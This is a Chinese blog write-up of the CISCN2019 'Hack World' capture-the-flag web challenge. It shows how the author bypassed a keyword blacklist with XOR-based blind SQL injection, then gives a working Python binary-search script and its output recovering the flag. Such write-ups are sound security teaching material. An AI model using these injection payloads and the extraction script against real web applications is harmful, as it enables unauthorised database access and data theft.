第二十六题——[CISCN2019 华北赛区 Day2 Web1]Hack World

题目地址:https://buuoj.cn/challenges

解题思路

第一步:进入题目,看到提示flag在flag表的flag字段

在这里插入图片描述

第二步:尝试万能密码1'or 1=1#发现被拦截

在这里插入图片描述

第三步:猜测拦截黑名单

  1. 有第二步得知输入黑名单会出现SQL Injection Checked提示,输入1'^发现未被拦截但是无详细错误提示,猜测是盲注
    在这里插入图片描述
  2. 使用burpsuite进行过滤查看,发现union,ununionion,and,or,空格,;,都被拦截,猜测使用异或盲注
    在这里插入图片描述

第四步:构建脚本获取flag

  1. 通过burpsuite抓获得知通过post传入id参数来进行sql查询
    在这里插入图片描述

  2. 异或注入通过构造where后面的全真式来获取结果,所以构造0^flag的ascii的全真式推测出flag

  3. 测试:由于flag格式都是flag{xxx},第一个字母为f,ascii值大于1,输入0^(ascii(substr((select(flag)from(flag)),0,1))>1)是永真式获得结果为hello,而输入假式(0^(ascii(substr((select(flag)from(flag)),0,1))>200))得到error结果
    在这里插入图片描述
    在这里插入图片描述

  4. 构造python,使用二分法获取flag

import requests

if __name__ == '__main__':
    url = "http://1bf27f3e-0eb4-41fd-8991-aef8381dbfbc.node3.buuoj.cn/index.php"
    payload = {"id": ""}
    result = ""
    for i in range(1, 100):
        l = 32
        r = 126
        mid = (l + r) // 2
        while (l < r):
            payload["id"] = "0^(ascii(substr((select(flag)from(flag)),{0},1))>{1})".format(i, mid)
            html = requests.post(url, data=payload)
            if "Hello" in html.text:
                l = mid + 1
            else:
                r = mid
            mid = (l + r) // 2
        if (chr(mid) == " "):
            break
        result = result + chr(mid)
        print(result)
    print("flag:", result)

结果:
f
fl
fla
flag
flag{
flag{3
flag{3e
flag{3ee
flag{3ee5
flag{3ee59
flag{3ee59b
flag{3ee59be
flag{3ee59be4
flag{3ee59be4-
flag{3ee59be4-6
flag{3ee59be4-66
flag{3ee59be4-662
flag{3ee59be4-662a
flag{3ee59be4-662a-
flag{3ee59be4-662a-4
flag{3ee59be4-662a-46
flag{3ee59be4-662a-46b
flag{3ee59be4-662a-46bd
flag{3ee59be4-662a-46bd-
flag{3ee59be4-662a-46bd-9
flag{3ee59be4-662a-46bd-93
flag{3ee59be4-662a-46bd-931
flag{3ee59be4-662a-46bd-9318
flag{3ee59be4-662a-46bd-9318-
flag{3ee59be4-662a-46bd-9318-e
flag{3ee59be4-662a-46bd-9318-e8
flag{3ee59be4-662a-46bd-9318-e8c
flag{3ee59be4-662a-46bd-9318-e8c7
flag{3ee59be4-662a-46bd-9318-e8c70
flag{3ee59be4-662a-46bd-9318-e8c701
flag{3ee59be4-662a-46bd-9318-e8c7019
flag{3ee59be4-662a-46bd-9318-e8c70198
flag{3ee59be4-662a-46bd-9318-e8c70198f
flag{3ee59be4-662a-46bd-9318-e8c70198f1
flag{3ee59be4-662a-46bd-9318-e8c70198f18
flag{3ee59be4-662a-46bd-9318-e8c70198f188
flag{3ee59be4-662a-46bd-9318-e8c70198f188}
flag: flag{3ee59be4-662a-46bd-9318-e8c70198f188}

进程已结束,退出代码为 0

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值